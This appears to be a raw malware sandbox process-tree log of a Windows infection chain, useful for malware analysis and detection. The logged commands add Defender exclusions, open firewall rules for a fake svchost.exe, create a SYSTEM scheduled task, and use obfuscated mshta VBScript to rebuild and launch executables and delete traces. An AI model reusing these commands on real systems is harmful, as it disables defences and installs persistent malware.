C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \7⤵PID:3748
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:5844
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
- Suspicious use of AdjustPrivilegeToken
PID:3048
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵PID:1920
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵PID:6284
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵PID:1556
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵PID:6272
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:5560
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:872
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\2hHBRt8xNwhGPMVyub2Lm0Jv.exe"C:\Users\Admin\Pictures\Adobe Films\2hHBRt8xNwhGPMVyub2Lm0Jv.exe"6⤵PID:5292
-
-
C:\Users\Admin\Pictures\Adobe Films\KJFi9OsbvVS8mCKyZTe0hrhm.exe"C:\Users\Admin\Pictures\Adobe Films\KJFi9OsbvVS8mCKyZTe0hrhm.exe"6⤵PID:5336
-
C:\Users\Admin\Pictures\Adobe Films\KJFi9OsbvVS8mCKyZTe0hrhm.exe"C:\Users\Admin\Pictures\Adobe Films\KJFi9OsbvVS8mCKyZTe0hrhm.exe"7⤵PID:5428
-
-
-
C:\Users\Admin\Pictures\Adobe Films\uzOxXYUv7zjcmJBjJTiWmLzB.exe"C:\Users\Admin\Pictures\Adobe Films\uzOxXYUv7zjcmJBjJTiWmLzB.exe"6⤵PID:5512
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\uzOxXYUv7zjcmJBjJTiWmLzB.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\uzOxXYUv7zjcmJBjJTiWmLzB.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵PID:1672
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\uzOxXYUv7zjcmJBjJTiWmLzB.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\uzOxXYUv7zjcmJBjJTiWmLzB.exe" ) do taskkill -im "%~NxK" -F8⤵PID:5552
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP9⤵PID:6452
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )10⤵PID:6604
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F11⤵PID:3640
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )10⤵PID:1304
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY11⤵PID:7620
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "12⤵PID:7876
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"12⤵PID:7900
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\N3V4H8H.SXY12⤵PID:7468
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "uzOxXYUv7zjcmJBjJTiWmLzB.exe" -F9⤵
- Kills process with taskkill
PID:6688
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\BhVKcDbeUG3FFg85PdUFKXL4.exe"C:\Users\Admin\Pictures\Adobe Films\BhVKcDbeUG3FFg85PdUFKXL4.exe"6⤵PID:3788
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "BhVKcDbeUG3FFg85PdUFKXL4.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\BhVKcDbeUG3FFg85PdUFKXL4.exe" & exit7⤵PID:6400
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "BhVKcDbeUG3FFg85PdUFKXL4.exe" /f8⤵
- Kills process with taskkill
PID:6756
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\_5AwV8MGlamvqATtWBHrHPRw.exe"C:\Users\Admin\Pictures\Adobe Films\_5AwV8MGlamvqATtWBHrHPRw.exe"6⤵PID:6056
-
-
C:\Users\Admin\Pictures\Adobe Films\Qp3CsfMRi_aPeXd3fY1Oj6WX.exe"C:\Users\Admin\Pictures\Adobe Films\Qp3CsfMRi_aPeXd3fY1Oj6WX.exe"6⤵PID:5328
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5328 -s 4007⤵
- Program crash
PID:1044
-
-
-
C:\Users\Admin\Pictures\Adobe Films\nDE6GCxXeCpF3m5Z568lWIES.exe"C:\Users\Admin\Pictures\Adobe Films\nDE6GCxXeCpF3m5Z568lWIES.exe"6⤵PID:3184
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:6800
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:7036
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\bRvj0B4bnxQll1IlPoSe8E4x.exe"C:\Users\Admin\Pictures\Adobe Films\bRvj0B4bnxQll1IlPoSe8E4x.exe"6⤵PID:1236
-
-
C:\Users\Admin\Pictures\Adobe Films\IPU19y0xAQVazxDWFHOlGUHm.exe"C:\Users\Admin\Pictures\Adobe Films\IPU19y0xAQVazxDWFHOlGUHm.exe"6⤵PID:5944
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\IPU19y0xAQVazxDWFHOlGUHm.exe" & exit7⤵PID:4888
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:5312
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\uP9KXmwfQVWyCi1wYLsuHBxo.exe"C:\Users\Admin\Pictures\Adobe Films\uP9KXmwfQVWyCi1wYLsuHBxo.exe"6⤵PID:5188
-
-
C:\Users\Admin\Pictures\Adobe Films\ar3kRoTq1C8YuDNVhP51q5bO.exe"C:\Users\Admin\Pictures\Adobe Films\ar3kRoTq1C8YuDNVhP51q5bO.exe"6⤵PID:4728
-
-
C:\Users\Admin\Pictures\Adobe Films\EgnflB0ZoxOCaXiie4ZZCUyp.exe"C:\Users\Admin\Pictures\Adobe Films\EgnflB0ZoxOCaXiie4ZZCUyp.exe"6⤵PID:4236
-
-
C:\Users\Admin\Pictures\Adobe Films\XtrJf_FLNVQycgEoiMjB8j4p.exe"C:\Users\Admin\Pictures\Adobe Films\XtrJf_FLNVQycgEoiMjB8j4p.exe"6⤵PID:4984
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\XtrJf_FLNVQycgEoiMjB8j4p.exe" & exit7⤵PID:6920
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:5984
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\gJ6FAiO3q_aVXxql2HB6Mwaw.exe"C:\Users\Admin\Pictures\Adobe Films\gJ6FAiO3q_aVXxql2HB6Mwaw.exe"6⤵PID:3764
-
-
C:\Users\Admin\Pictures\Adobe Films\ZsbppNziu_noy5EYdcaYcyKF.exe"C:\Users\Admin\Pictures\Adobe Films\ZsbppNziu_noy5EYdcaYcyKF.exe"6⤵PID:4988
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"7⤵PID:6656
-
C:\Users\Admin\AppData\Local\1984410.exe"C:\Users\Admin\AppData\Local\1984410.exe"8⤵PID:5532
-
-
C:\Users\Admin\AppData\Local\6594567.exe"C:\Users\Admin\AppData\Local\6594567.exe"8⤵PID:4968
-
-
C:\Users\Admin\AppData\Local\4007276.exe"C:\Users\Admin\AppData\Local\4007276.exe"8⤵PID:5556
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\4007276.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\4007276.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))9⤵PID:4460
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\4007276.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\4007276.exe" ) do taskkill -f -Im "%~NXZ"10⤵PID:4796
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "4007276.exe"11⤵
- Kills process with taskkill
PID:7212
-
-
-
-
-
C:\Users\Admin\AppData\Local\8870312.exe"C:\Users\Admin\AppData\Local\8870312.exe"8⤵PID:2572
-
-
C:\Users\Admin\AppData\Local\949459.exe"C:\Users\Admin\AppData\Local\949459.exe"8⤵PID:5356
-
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"7⤵PID:4804
-
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"7⤵PID:4196
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"7⤵PID:5472
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )8⤵PID:5536
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"9⤵PID:5540
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi10⤵PID:4284
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )11⤵PID:5216
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"12⤵PID:6228
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )11⤵PID:2616
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC12⤵PID:8188
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "13⤵PID:7796
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"13⤵PID:8664
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC13⤵PID:5332
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"10⤵
- Kills process with taskkill
PID:7012
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵PID:6212
-
C:\Users\Admin\AppData\Local\Temp\is-AVK9E.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-AVK9E.tmp\setup.tmp" /SL5="$204EA,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵PID:996
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT9⤵PID:4520
-
C:\Users\Admin\AppData\Local\Temp\is-IAV6K.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-IAV6K.tmp\setup.tmp" /SL5="$603F6,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵PID:3048
-
C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe"C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart11⤵PID:5920
-
C:\7955a0f7041e1cb2e33a\Setup.exeC:\7955a0f7041e1cb2e33a\\Setup.exe /q /norestart /x86 /x64 /web12⤵PID:3496
-
-
-
C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe"C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss111⤵PID:6472
-
-
C:\Users\Admin\AppData\Local\Temp\is-D06DK.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-D06DK.tmp\postback.exe" ss111⤵PID:4328
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵PID:4780
-
-
C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"7⤵PID:1304
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe8⤵PID:4996
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe9⤵
- Kills process with taskkill
PID:7156
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"7⤵PID:5344
-
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"7⤵PID:5696
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=18⤵PID:2180
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"9⤵PID:7672
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\chrome1.exe"C:\Users\Admin\AppData\Local\Temp\chrome1.exe"7⤵PID:6428
-
-
C:\Users\Admin\AppData\Local\Temp\chrome update.exe"C:\Users\Admin\AppData\Local\Temp\chrome update.exe"7⤵PID:5740
-
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"7⤵PID:6608
-
-
-
C:\Users\Admin\Pictures\Adobe Films\6gW5YuxUsBg1Y_80X7fxjpXa.exe"C:\Users\Admin\Pictures\Adobe Films\6gW5YuxUsBg1Y_80X7fxjpXa.exe"6⤵PID:4160
-
C:\Users\Admin\Pictures\Adobe Films\6gW5YuxUsBg1Y_80X7fxjpXa.exe"C:\Users\Admin\Pictures\Adobe Films\6gW5YuxUsBg1Y_80X7fxjpXa.exe"7⤵PID:4328
-
-
C:\Users\Admin\Pictures\Adobe Films\6gW5YuxUsBg1Y_80X7fxjpXa.exe"C:\Users\Admin\Pictures\Adobe Films\6gW5YuxUsBg1Y_80X7fxjpXa.exe"7⤵PID:6196
-
-
-
C:\Users\Admin\Pictures\Adobe Films\DzPorAm7_cUUd_CxNzK3EibZ.exe"C:\Users\Admin\Pictures\Adobe Films\DzPorAm7_cUUd_CxNzK3EibZ.exe"6⤵PID:5836
-
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe7⤵PID:5840
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵PID:6416
-
-
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe7⤵PID:4848
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"8⤵PID:6036
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\_yfyUq31EXVMImN4SV33tGPD.exe"C:\Users\Admin\Pictures\Adobe Films\_yfyUq31EXVMImN4SV33tGPD.exe"6⤵PID:6020
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\_yfyUq31EXVMImN4SV33tGPD.exe" & exit7⤵PID:5540
-
C:\Windows\SysWOW64\timeout.exetimeout /t 58⤵
- Delays execution with timeout.exe
PID:6044
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\F1xDq8VKMunkOrmy3OjroO5a.exe"C:\Users\Admin\Pictures\Adobe Films\F1xDq8VKMunkOrmy3OjroO5a.exe"6⤵PID:6292
-
-
C:\Users\Admin\Pictures\Adobe Films\9HrVw9Co24XeA1m7VrmauGWu.exe"C:\Users\Admin\Pictures\Adobe Films\9HrVw9Co24XeA1m7VrmauGWu.exe"6⤵PID:6548
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=17⤵PID:6928
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"8⤵PID:7776
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue20d8f1968de62f282.exe4⤵PID:3376
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue20d8f1968de62f282.exeTue20d8f1968de62f282.exe5⤵
- Executes dropped EXE
PID:2144 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2144 -s 14366⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4424
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue203dd57461.exe4⤵PID:868
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue203dd57461.exeTue203dd57461.exe5⤵
- Executes dropped EXE
PID:3048 -
C:\Users\Admin\AppData\Roaming\1863108.exe"C:\Users\Admin\AppData\Roaming\1863108.exe"6⤵
- Executes dropped EXE
PID:4132
-
-
C:\Users\Admin\AppData\Roaming\8864439.exe"C:\Users\Admin\AppData\Roaming\8864439.exe"6⤵
- Executes dropped EXE
PID:4368
-
-
C:\Users\Admin\AppData\Roaming\7806056.exe"C:\Users\Admin\AppData\Roaming\7806056.exe"6⤵PID:4700
-
-
C:\Users\Admin\AppData\Roaming\953646.exe"C:\Users\Admin\AppData\Roaming\953646.exe"6⤵PID:3768
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:6068
-
-
-
C:\Users\Admin\AppData\Roaming\2865433.exe"C:\Users\Admin\AppData\Roaming\2865433.exe"6⤵PID:4512
-
-
C:\Users\Admin\AppData\Roaming\7531648.exe"C:\Users\Admin\AppData\Roaming\7531648.exe"6⤵PID:5116
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\7531648.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\7531648.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))7⤵PID:5668
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\7531648.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\7531648.exe" ) do taskkill -f -Im "%~NXZ"8⤵PID:3876
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i9⤵PID:704
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))10⤵PID:6980
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"11⤵PID:1236
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )10⤵PID:5604
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *11⤵PID:5360
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"12⤵PID:5976
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "12⤵PID:6640
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K12⤵PID:5104
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K13⤵PID:7524
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K14⤵PID:11600
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K15⤵PID:11840
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "7531648.exe"9⤵
- Kills process with taskkill
PID:5708
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2082ea84bd.exe4⤵PID:1432
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue2082ea84bd.exeTue2082ea84bd.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3068 -
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue2082ea84bd.exeC:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue2082ea84bd.exe6⤵
- Executes dropped EXE
PID:2020
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2095db5b6bd7.exe4⤵PID:1916
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue2095db5b6bd7.exeTue2095db5b6bd7.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2848 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:5888
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
